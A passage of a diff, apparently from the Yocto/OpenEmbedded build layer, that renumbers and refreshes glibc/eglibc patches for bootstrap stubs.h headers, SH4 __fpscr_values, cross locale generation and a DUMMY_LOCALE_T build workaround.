+ vpath %.h $(subdir-dirs)
+
+ # What to install.
+-install-others = $(inst_includedir)/gnu/stubs.h
+ install-bin-script =
+
++# If we're bootstrapping, install a dummy gnu/stubs.h along with the
++# other headers, so 'make install-headers' produces a useable include
++# tree. Otherwise, install gnu/stubs.h later, after the rest of the
++# build is done.
++ifeq ($(install-bootstrap-headers),yes)
++install-headers: $(inst_includedir)/gnu/stubs.h
++else
++install-others = $(inst_includedir)/gnu/stubs.h
++endif
++
+ ifeq (yes,$(build-shared))
+ headers += gnu/lib-names.h
+ endif
+@@ -415,6 +424,16 @@ others: $(common-objpfx)testrun.sh $(common-objpfx)debugglibc.sh
+
+ subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
+
++# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
++# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
++# gnu/stubs.h is good enough.
++ifeq ($(install-bootstrap-headers),yes)
++$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
++ $(make-target-directory)
++ $(INSTALL_DATA) $< $@
++
++installed-stubs =
++else
+ ifndef abi-variants
+ installed-stubs = $(inst_includedir)/gnu/stubs.h
+ else
+@@ -441,6 +460,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
+
+ install-others-nosubdir: $(installed-stubs)
+ endif
++endif
+
+
+ # Since stubs.h is never needed when building the library, we simplify the
+diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
+new file mode 100644
+index 0000000000..1d2b669aff
+--- /dev/null
++++ b/include/stubs-bootstrap.h
+@@ -0,0 +1,12 @@
++/* Placeholder stubs.h file for bootstrapping.
++
++ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
++ headers be installed, but we can't fully build EGLIBC without that
++ GCC. So we run the command:
++
++ make install-headers install-bootstrap-headers=yes
++
++ to install the headers GCC needs, but avoid building certain
++ difficult headers. The <gnu/stubs.h> header depends, via the
++ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
++ an empty stubs.h like this will do fine for GCC. */
diff --git a/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch
deleted file mode 100644
index bb21c54721..0000000000
--- a/meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From d3451c186f96c6b2434a4ac9304c01730bf22061 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:55:53 +0000
-Subject: [PATCH 20/29] eglibc: Resolve __fpscr_values on SH4
-
-2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
- Andrew Stubbs <ams@codesourcery.com>
-
- Resolve SH's __fpscr_values to symbol in libc.so.
-
- * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
- * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
- * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/unix/sysv/linux/sh/Versions | 1 +
- sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
- 2 files changed, 12 insertions(+)
-
-diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
-index e0938c4165..ca1d7da339 100644
---- a/sysdeps/unix/sysv/linux/sh/Versions
-+++ b/sysdeps/unix/sysv/linux/sh/Versions
-@@ -2,6 +2,7 @@ libc {
- GLIBC_2.2 {
- # functions used in other libraries
- __xstat64; __fxstat64; __lxstat64;
-+ __fpscr_values;
-
- # a*
- alphasort64;
-diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
-index 85ff3f900e..7743b8d57a 100644
---- a/sysdeps/unix/sysv/linux/sh/sysdep.S
-+++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
-@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
-
- #define __syscall_error __syscall_error_1
- #include <sysdeps/unix/sh/sysdep.S>
-+
-+ .data
-+ .align 3
-+ .globl ___fpscr_values
-+ .type ___fpscr_values, @object
-+ .size ___fpscr_values, 8
-+___fpscr_values:
-+ .long 0
-+ .long 0x80000
-+weak_alias (___fpscr_values, __fpscr_values)
-+
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch
deleted file mode 100644
index 7fe5db0c2a..0000000000
--- a/meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch
+++ /dev/null
@@ -1,563 +0,0 @@
-From e4b8abdc2d884d721fd89d67b689546f2f780924 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:33:49 +0000
-Subject: [PATCH 21/29] eglibc: Forward port cross locale generation support
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/Makefile | 3 +-
- locale/catnames.c | 46 +++++++++++++++++++++++++++
- locale/localeinfo.h | 2 +-
- locale/programs/charmap-dir.c | 6 ++++
- locale/programs/ld-collate.c | 17 +++++-----
- locale/programs/ld-ctype.c | 27 ++++++++--------
- locale/programs/ld-time.c | 31 ++++++++++++------
- locale/programs/linereader.c | 2 +-
- locale/programs/localedef.c | 8 +++++
- locale/programs/locfile.c | 5 ++-
- locale/programs/locfile.h | 59 +++++++++++++++++++++++++++++++++--
- locale/setlocale.c | 29 -----------------
- 12 files changed, 167 insertions(+), 68 deletions(-)
- create mode 100644 locale/catnames.c
-
-diff --git a/locale/Makefile b/locale/Makefile
-index 49c0c78c7d..ebfcf4f4da 100644
---- a/locale/Makefile
-+++ b/locale/Makefile
-@@ -26,7 +26,8 @@ headers = langinfo.h locale.h bits/locale.h \
- bits/types/locale_t.h bits/types/__locale_t.h
- routines = setlocale findlocale loadlocale loadarchive \
- localeconv nl_langinfo nl_langinfo_l mb_cur_max \
-- newlocale duplocale freelocale uselocale
-+ newlocale duplocale freelocale uselocale \
-+ catnames
- tests = tst-C-locale tst-locname tst-duplocale
- tests-container = tst-localedef-path-norm
- categories = ctype messages monetary numeric time paper name \
-diff --git a/locale/catnames.c b/locale/catnames.c
-new file mode 100644
-index 0000000000..538f3f5edb
---- /dev/null
-+++ b/locale/catnames.c
-@@ -0,0 +1,46 @@
-+/* Copyright (C) 2006 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include "localeinfo.h"
-+
-+/* Define an array of category names (also the environment variable names). */
-+const struct catnamestr_t _nl_category_names attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ category_name,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ };
-+
-+const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ };
-+
-+/* An array of their lengths, for convenience. */
-+const uint8_t _nl_category_name_sizes[] attribute_hidden =
-+ {
-+#define DEFINE_CATEGORY(category, category_name, items, a) \
-+ [category] = sizeof (category_name) - 1,
-+#include "categories.def"
-+#undef DEFINE_CATEGORY
-+ [LC_ALL] = sizeof ("LC_ALL") - 1
-+ };
-diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index fdc283c69a..4eeed35f90 100644
---- a/locale/localeinfo.h
-+++ b/locale/localeinfo.h
-@@ -230,7 +230,7 @@ __libc_tsd_define (extern, locale_t, LOCALE)
- unused. We can manage this playing some tricks with weak references.
- But with thread-local locale settings, it becomes quite ungainly unless
- we can use __thread variables. So only in that case do we attempt this. */
--#ifndef SHARED
-+#if !defined SHARED && !defined IN_GLIBC_LOCALEDEF
- # include <tls.h>
- # define NL_CURRENT_INDIRECT 1
- #endif
-diff --git a/locale/programs/charmap-dir.c b/locale/programs/charmap-dir.c
-index 1a526a240d..0fb2daf936 100644
---- a/locale/programs/charmap-dir.c
-+++ b/locale/programs/charmap-dir.c
-@@ -18,7 +18,9 @@
- #include <errno.h>
- #include <fcntl.h>
- #include <libintl.h>
-+#ifndef NO_UNCOMPRESS
- #include <spawn.h>
-+#endif
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-@@ -154,6 +156,7 @@ charmap_closedir (CHARMAP_DIR *cdir)
- return closedir (dir);
- }
-
-+#ifndef NO_UNCOMPRESS
- /* Creates a subprocess decompressing the given pathname, and returns
- a stream reading its output (the decompressed data). */
- static
-@@ -202,6 +205,7 @@ fopen_uncompressed (const char *pathname, const char *compressor)
- }
- return NULL;
- }
-+#endif
-
- /* Opens a charmap for reading, given its name (not an alias name). */
- FILE *
-@@ -224,6 +228,7 @@ charmap_open (const char *directory, const char *name)
- if (stream != NULL)
- return stream;
-
-+#ifndef NO_UNCOMPRESS
- memcpy (p, ".gz", 4);
- stream = fopen_uncompressed (pathname, "gzip");
- if (stream != NULL)
-@@ -233,6 +238,7 @@ charmap_open (const char *directory, const char *name)
- stream = fopen_uncompressed (pathname, "bzip2");
- if (stream != NULL)
- return stream;
-+#endif
-
- return NULL;
- }
-diff --git a/locale/programs/ld-collate.c b/locale/programs/ld-collate.c
-index feb1a11258..5a8e522470 100644
---- a/locale/programs/ld-collate.c
-+++ b/locale/programs/ld-collate.c
-@@ -349,7 +349,7 @@ new_element (struct locale_collate_t *collate, const char *mbs, size_t mbslen,
- }
- if (wcs != NULL)
- {
-- size_t nwcs = wcslen ((wchar_t *) wcs);
-+ size_t nwcs = wcslen_uint32 (wcs);
- uint32_t zero = 0;
- /* Handle <U0000> as a single character. */
- if (nwcs == 0)
-@@ -1772,8 +1772,7 @@ symbol `%s' has the same encoding as"), (*eptr)->name);
-
- if ((*eptr)->nwcs == runp->nwcs)
- {
-- int c = wmemcmp ((wchar_t *) (*eptr)->wcs,
-- (wchar_t *) runp->wcs, runp->nwcs);
-+ int c = wmemcmp_uint32 ((*eptr)->wcs, runp->wcs, runp->nwcs);
-
- if (c == 0)
- {
-@@ -2000,9 +1999,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- one consecutive entry. */
- if (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1))
- {
-@@ -2026,9 +2025,9 @@ add_to_tablewc (uint32_t ch, struct element_t *runp)
- runp = runp->wcnext;
- while (runp->wcnext != NULL
- && runp->nwcs == runp->wcnext->nwcs
-- && wmemcmp ((wchar_t *) runp->wcs,
-- (wchar_t *)runp->wcnext->wcs,
-- runp->nwcs - 1) == 0
-+ && wmemcmp_uint32 (runp->wcs,
-+ runp->wcnext->wcs,
-+ runp->nwcs - 1) == 0
- && (runp->wcs[runp->nwcs - 1]
- == runp->wcnext->wcs[runp->nwcs - 1] + 1));
-
-diff --git a/locale/programs/ld-ctype.c b/locale/programs/ld-ctype.c
-index 3328093d0e..d58fb0f4b7 100644
---- a/locale/programs/ld-ctype.c
-+++ b/locale/programs/ld-ctype.c
-@@ -915,7 +915,7 @@ ctype_output (struct localedef_t *locale, const struct charmap_t *charmap,
- allocate_arrays (ctype, charmap, ctype->repertoire);
-
- default_missing_len = (ctype->default_missing
-- ? wcslen ((wchar_t *) ctype->default_missing)
-+ ? wcslen_uint32 (ctype->default_missing)
- : 0);
-
- init_locale_data (&file, nelems);
-@@ -1927,7 +1927,7 @@ read_translit_entry (struct linereader *ldfile, struct locale_ctype_t *ctype,
- ignore = 1;
- else
- /* This value is usable. */
-- obstack_grow (ob, to_wstr, wcslen ((wchar_t *) to_wstr) * 4);
-+ obstack_grow (ob, to_wstr, wcslen_uint32 (to_wstr) * 4);
-
- first = 0;
- }
-@@ -2461,8 +2461,8 @@ with character code range values one must use the absolute ellipsis `...'"));
- }
-
- handle_tok_digit:
-- class_bit = _ISwdigit;
-- class256_bit = _ISdigit;
-+ class_bit = BITw (tok_digit);
-+ class256_bit = BIT (tok_digit);
- handle_digits = 1;
- goto read_charclass;
-
-@@ -3904,8 +3904,7 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
-
- while (idx < number)
- {
-- int res = wcscmp ((const wchar_t *) sorted[idx]->from,
-- (const wchar_t *) runp->from);
-+ int res = wcscmp_uint32 (sorted[idx]->from, runp->from);
- if (res == 0)
- {
- replace = 1;
-@@ -3942,11 +3941,11 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- for (size_t cnt = 0; cnt < number; ++cnt)
- {
- struct translit_to_t *srunp;
-- from_len += wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-+ from_len += wcslen_uint32 (sorted[cnt]->from) + 1;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- to_len += wcslen ((const wchar_t *) srunp->str) + 1;
-+ to_len += wcslen_uint32 (srunp->str) + 1;
- srunp = srunp->next;
- }
- /* Plus one for the extra NUL character marking the end of
-@@ -3970,18 +3969,18 @@ allocate_arrays (struct locale_ctype_t *ctype, const struct charmap_t *charmap,
- ctype->translit_from_idx[cnt] = from_len;
- ctype->translit_to_idx[cnt] = to_len;
-
-- len = wcslen ((const wchar_t *) sorted[cnt]->from) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_from_tbl[from_len],
-- (const wchar_t *) sorted[cnt]->from, len);
-+ len = wcslen_uint32 (sorted[cnt]->from) + 1;
-+ wmemcpy_uint32 (&ctype->translit_from_tbl[from_len],
-+ sorted[cnt]->from, len);
- from_len += len;
-
- ctype->translit_to_idx[cnt] = to_len;
- srunp = sorted[cnt]->to;
- while (srunp != NULL)
- {
-- len = wcslen ((const wchar_t *) srunp->str) + 1;
-- wmemcpy ((wchar_t *) &ctype->translit_to_tbl[to_len],
-- (const wchar_t *) srunp->str, len);
-+ len = wcslen_uint32 (srunp->str) + 1;
-+ wmemcpy_uint32 (&ctype->translit_to_tbl[to_len],
-+ srunp->str, len);
- to_len += len;
- srunp = srunp->next;
- }
-diff --git a/locale/programs/ld-time.c b/locale/programs/ld-time.c
-index f7db873adb..fec3773c9d 100644
---- a/locale/programs/ld-time.c
-+++ b/locale/programs/ld-time.c
-@@ -220,8 +220,10 @@ No definition for %s category found"), "LC_TIME");
- }
- else
- {
-+ static const uint32_t wt_fmt_ampm[]
-+ = { '%','I',':','%','M',':','%','S',' ','%','p',0 };
- time->t_fmt_ampm = "%I:%M:%S %p";
-- time->wt_fmt_ampm = (const uint32_t *) L"%I:%M:%S %p";
-+ time->wt_fmt_ampm = wt_fmt_ampm;
- }
- }
-
-@@ -231,7 +233,7 @@ No definition for %s category found"), "LC_TIME");
- const int days_per_month[12] = { 31, 29, 31, 30, 31, 30,
- 31, 31, 30, 31 ,30, 31 };
- size_t idx;
-- wchar_t *wstr;
-+ uint32_t *wstr;
-
- time->era_entries =
- (struct era_data *) xmalloc (time->num_era
-@@ -457,18 +459,18 @@ No definition for %s category found"), "LC_TIME");
- }
-
- /* Now generate the wide character name and format. */
-- wstr = wcschr ((wchar_t *) time->wera[idx], L':');/* end direction */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end offset */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end start */
-- wstr = wstr ? wcschr (wstr + 1, L':') : NULL; /* end end */
-+ wstr = wcschr_uint32 (time->wera[idx], L':'); /* end direction */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end offset */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end start */
-+ wstr = wstr ? wcschr_uint32 (wstr + 1, L':') : NULL; /* end end */
- if (wstr != NULL)
- {
-- time->era_entries[idx].wname = (uint32_t *) wstr + 1;
-- wstr = wcschr (wstr + 1, L':'); /* end name */
-+ time->era_entries[idx].wname = wstr + 1;
-+ wstr = wcschr_uint32 (wstr + 1, L':'); /* end name */
- if (wstr != NULL)
- {
- *wstr = L'\0';
-- time->era_entries[idx].wformat = (uint32_t *) wstr + 1;
-+ time->era_entries[idx].wformat = wstr + 1;
- }
- else
- time->era_entries[idx].wname =
-@@ -527,7 +529,16 @@ No definition for %s category found"), "LC_TIME");
- if (time->date_fmt == NULL)
- time->date_fmt = "%a %b %e %H:%M:%S %Z %Y";
- if (time->wdate_fmt == NULL)
-- time->wdate_fmt = (const uint32_t *) L"%a %b %e %H:%M:%S %Z %Y";
-+ {
-+ static const uint32_t wdate_fmt[] =
-+ { '%','a',' ',
-+ '%','b',' ',
-+ '%','e',' ',
-+ '%','H',':','%','M',':','%','S',' ',
-+ '%','Z',' ',
-+ '%','Y',0 };
-+ time->wdate_fmt = wdate_fmt;
-+ }
- }
-
-
-diff --git a/locale/programs/linereader.c b/locale/programs/linereader.c
-index 7ebd933801..5753750756 100644
---- a/locale/programs/linereader.c
-+++ b/locale/programs/linereader.c
-@@ -595,7 +595,7 @@ get_string (struct linereader *lr, const struct charmap_t *charmap,
- {
- int return_widestr = lr->return_widestr;
- char *buf;
-- wchar_t *buf2 = NULL;
-+ uint32_t *buf2 = NULL;
- size_t bufact;
- size_t bufmax = 56;
-
-diff --git a/locale/programs/localedef.c b/locale/programs/localedef.c
-index b048bd05b9..fed15c42ec 100644
---- a/locale/programs/localedef.c
-+++ b/locale/programs/localedef.c
-@@ -109,6 +109,7 @@ void (*argp_program_version_hook) (FILE *, struct argp_state *) = print_version;
- #define OPT_NO_WARN 402
- #define OPT_WARN 403
- #define OPT_NO_HARD_LINKS 404
-+#define OPT_UINT32_ALIGN 405
-
- /* Definitions of arguments for argp functions. */
- static const struct argp_option options[] =
-@@ -153,6 +154,8 @@ static const struct argp_option options[] =
- N_("Generate little-endian output") },
- { "big-endian", OPT_BIG_ENDIAN, NULL, 0,
- N_("Generate big-endian output") },
-+ { "uint32-align", OPT_UINT32_ALIGN, "ALIGNMENT", 0,
-+ N_("Set the target's uint32_t alignment in bytes (default 4)") },
- { NULL, 0, NULL, 0, NULL }
- };
-
-@@ -243,12 +246,14 @@ main (int argc, char *argv[])
- ctype locale. (P1003.2 4.35.5.2) */
- setlocale (LC_CTYPE, "POSIX");
-
-+#ifndef NO_SYSCONF
- /* Look whether the system really allows locale definitions. POSIX
- defines error code 3 for this situation so I think it must be
- a fatal error (see P1003.2 4.35.8). */
- if (sysconf (_SC_2_LOCALEDEF) < 0)
- record_error (3, 0, _("\
- FATAL: system does not define `_POSIX2_LOCALEDEF'"));
-+#endif
-
- /* Process charmap file. */
- charmap = charmap_read (charmap_file, verbose, 1, be_quiet, 1);
-@@ -400,6 +405,9 @@ parse_opt (int key, char *arg, struct argp_state *state)
- /* Do not hard link to other locales. */
- hard_links = false;
- break;
-+ case OPT_UINT32_ALIGN:
-+ uint32_align_mask = strtol (arg, NULL, 0) - 1;
-+ break;
- case 'c':
- force_output = 1;
- break;
-diff --git a/locale/programs/locfile.c b/locale/programs/locfile.c
-index eb2f4634da..d387147323 100644
---- a/locale/programs/locfile.c
-+++ b/locale/programs/locfile.c
-@@ -544,6 +544,9 @@ compare_files (const char *filename1, const char *filename2, size_t size,
- machine running localedef. */
- bool swap_endianness_p;
-
-+/* The target's value of __align__(uint32_t) - 1. */
-+unsigned int uint32_align_mask = 3;
-+
- /* When called outside a start_locale_structure/end_locale_structure
- or start_locale_prelude/end_locale_prelude block, record that the
- next byte in FILE's obstack will be the first byte of a new element.
-@@ -621,7 +624,7 @@ add_locale_string (struct locale_file *file, const char *string)
- void
- add_locale_wstring (struct locale_file *file, const uint32_t *string)
- {
-- add_locale_uint32_array (file, string, wcslen ((const wchar_t *) string) + 1);
-+ add_locale_uint32_array (file, string, wcslen_uint32 (string) + 1);
- }
-
- /* Record that FILE's next element is the 32-bit integer VALUE. */
-diff --git a/locale/programs/locfile.h b/locale/programs/locfile.h
-index 7ea10038b4..0888c09762 100644
---- a/locale/programs/locfile.h
-+++ b/locale/programs/locfile.h
-@@ -71,6 +71,8 @@ extern void write_all_categories (struct localedef_t *definitions,
-
- extern bool swap_endianness_p;
-
-+extern unsigned int uint32_align_mask;
-+
- /* Change the output to be big-endian if BIG_ENDIAN is true and
- little-endian otherwise. */
- static inline void
-@@ -89,7 +91,8 @@ maybe_swap_uint32 (uint32_t value)
- }
-
- /* Likewise, but munge an array of N uint32_ts starting at ARRAY. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_array (uint32_t *array, size_t n)
- {
- if (swap_endianness_p)
-@@ -99,7 +102,8 @@ maybe_swap_uint32_array (uint32_t *array, size_t n)
-
- /* Like maybe_swap_uint32_array, but the array of N elements is at
- the end of OBSTACK's current object. */
--static inline void
-+static void
-+__attribute__ ((unused))
- maybe_swap_uint32_obstack (struct obstack *obstack, size_t n)
- {
- maybe_swap_uint32_array ((uint32_t *) obstack_next_free (obstack) - n, n);
-@@ -276,4 +280,55 @@ extern void identification_output (struct localedef_t *locale,
- const struct charmap_t *charmap,
- const char *output_path);
-
-+static size_t wcslen_uint32 (const uint32_t *str) __attribute__ ((unused));
-+static uint32_t * wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+static uint32_t * wcschr_uint32 (const uint32_t *s, uint32_t ch) __attribute__ ((unused));
-+static int wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2) __attribute__ ((unused));
-+static int wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n) __attribute__ ((unused));
-+
-+static size_t
-+wcslen_uint32 (const uint32_t *str)
-+{
-+ size_t len = 0;
-+ while (str[len] != 0)
-+ len++;
-+ return len;
-+}
-+
-+static int
-+wmemcmp_uint32 (const uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ while (n-- != 0)
-+ {
-+ int diff = *s1++ - *s2++;
-+ if (diff != 0)
-+ return diff;
-+ }
-+ return 0;
-+}
-+
-+static int
-+wcscmp_uint32 (const uint32_t *s1, const uint32_t *s2)
-+{
-+ while (*s1 != 0 && *s1 == *s2)
-+ s1++, s2++;
-+ return *s1 - *s2;
-+}
-+
-+static uint32_t *
-+wmemcpy_uint32 (uint32_t *s1, const uint32_t *s2, size_t n)
-+{
-+ return memcpy (s1, s2, n * sizeof (uint32_t));
-+}
-+
-+static uint32_t *
-+wcschr_uint32 (const uint32_t *s, uint32_t ch)
-+{
-+ do
-+ if (*s == ch)
-+ return (uint32_t *) s;
-+ while (*s++ != 0);
-+ return 0;
-+}
-+
- #endif /* locfile.h */
-diff --git a/locale/setlocale.c b/locale/setlocale.c
-index 030f1727bd..096d8ed895 100644
---- a/locale/setlocale.c
-+++ b/locale/setlocale.c
-@@ -63,35 +63,6 @@ static char *const _nl_current_used[] =
-
- #endif
-
--
--/* Define an array of category names (also the environment variable names). */
--const struct catnamestr_t _nl_category_names attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- category_name,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- };
--
--const uint8_t _nl_category_name_idxs[__LC_LAST] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = offsetof (struct catnamestr_t, CATNAMEMF (__LINE__)),
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- };
--
--/* An array of their lengths, for convenience. */
--const uint8_t _nl_category_name_sizes[] attribute_hidden =
-- {
--#define DEFINE_CATEGORY(category, category_name, items, a) \
-- [category] = sizeof (category_name) - 1,
--#include "categories.def"
--#undef DEFINE_CATEGORY
-- [LC_ALL] = sizeof ("LC_ALL") - 1
-- };
--
--
- #ifdef NL_CURRENT_INDIRECT
- # define WEAK_POSTLOAD(postload) weak_extern (postload)
- #else
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch
new file mode 100644
index 0000000000..74c8c10661
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch
@@ -0,0 +1,53 @@
+From 111ab95a85314d1e70fb159a14250354cc69d899 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:55:53 +0000
+Subject: [PATCH] eglibc: Resolve __fpscr_values on SH4
+
+2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
+ Andrew Stubbs <ams@codesourcery.com>
+
+ Resolve SH's __fpscr_values to symbol in libc.so.
+
+ * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
+ * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
+ * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/sh/Versions | 1 +
+ sysdeps/unix/sysv/linux/sh/sysdep.S | 11 +++++++++++
+ 2 files changed, 12 insertions(+)
+
+diff --git a/sysdeps/unix/sysv/linux/sh/Versions b/sysdeps/unix/sysv/linux/sh/Versions
+index 9c734ff755..974e33b4b1 100644
+--- a/sysdeps/unix/sysv/linux/sh/Versions
++++ b/sysdeps/unix/sysv/linux/sh/Versions
+@@ -3,6 +3,7 @@ libc {
+ GLIBC_2.2 {
+ # functions used in other libraries
+ __xstat64; __fxstat64; __lxstat64;
++ __fpscr_values;
+
+ # a*
+ alphasort64;
+diff --git a/sysdeps/unix/sysv/linux/sh/sysdep.S b/sysdeps/unix/sysv/linux/sh/sysdep.S
+index a18fbb2e8b..59421bfbb0 100644
+--- a/sysdeps/unix/sysv/linux/sh/sysdep.S
++++ b/sysdeps/unix/sysv/linux/sh/sysdep.S
+@@ -30,3 +30,14 @@ ENTRY (__syscall_error)
+
+ #define __syscall_error __syscall_error_1
+ #include <sysdeps/unix/sh/sysdep.S>
++
++ .data
++ .align 3
++ .globl ___fpscr_values
++ .type ___fpscr_values, @object
++ .size ___fpscr_values, 8
++___fpscr_values:
++ .long 0
++ .long 0x80000
++weak_alias (___fpscr_values, __fpscr_values)
++
diff --git a/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch b/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch
deleted file mode 100644
index 0e93183087..0000000000
--- a/meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ad5bc87134871b99e082e2449b8c1ce2f1375ef9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 20 Apr 2016 21:11:00 -0700
-Subject: [PATCH 22/29] Define DUMMY_LOCALE_T if not defined
-
-This is a hack to fix building the locale bits on an older
-CentOs 5.X machine
-
-Upstream-Status: Inappropriate [other]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/programs/config.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/locale/programs/config.h b/locale/programs/config.h
-index d76d9f7e8b..92b56d7df3 100644
---- a/locale/programs/config.h
-+++ b/locale/programs/config.h
-@@ -19,6 +19,9 @@
- #ifndef _LD_CONFIG_H
- #define _LD_CONFIG_H 1
-
-+#ifndef DUMMY_LOCALE_T
-+#define DUMMY_LOCALE_T
-+#endif
- /* Use the internal textdomain used for libc messages. */
- #define PACKAGE _libc_intl_domainname
- #ifndef VERSION
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch b/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch
new file mode 100644
index 0000000000..a9ff8e92ea
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch
@@ -0,0 +1,560 @@
+From 4e5de801a39d66b8bd93d09f5912dcbe5db4ef04 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:33:49 +0000
+Subject: [PATCH] eglibc: Forward port cross locale generation support
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/Makefile | 3 +-
+ locale/catnames.c | 46 +++++++++++++++++++++++++++
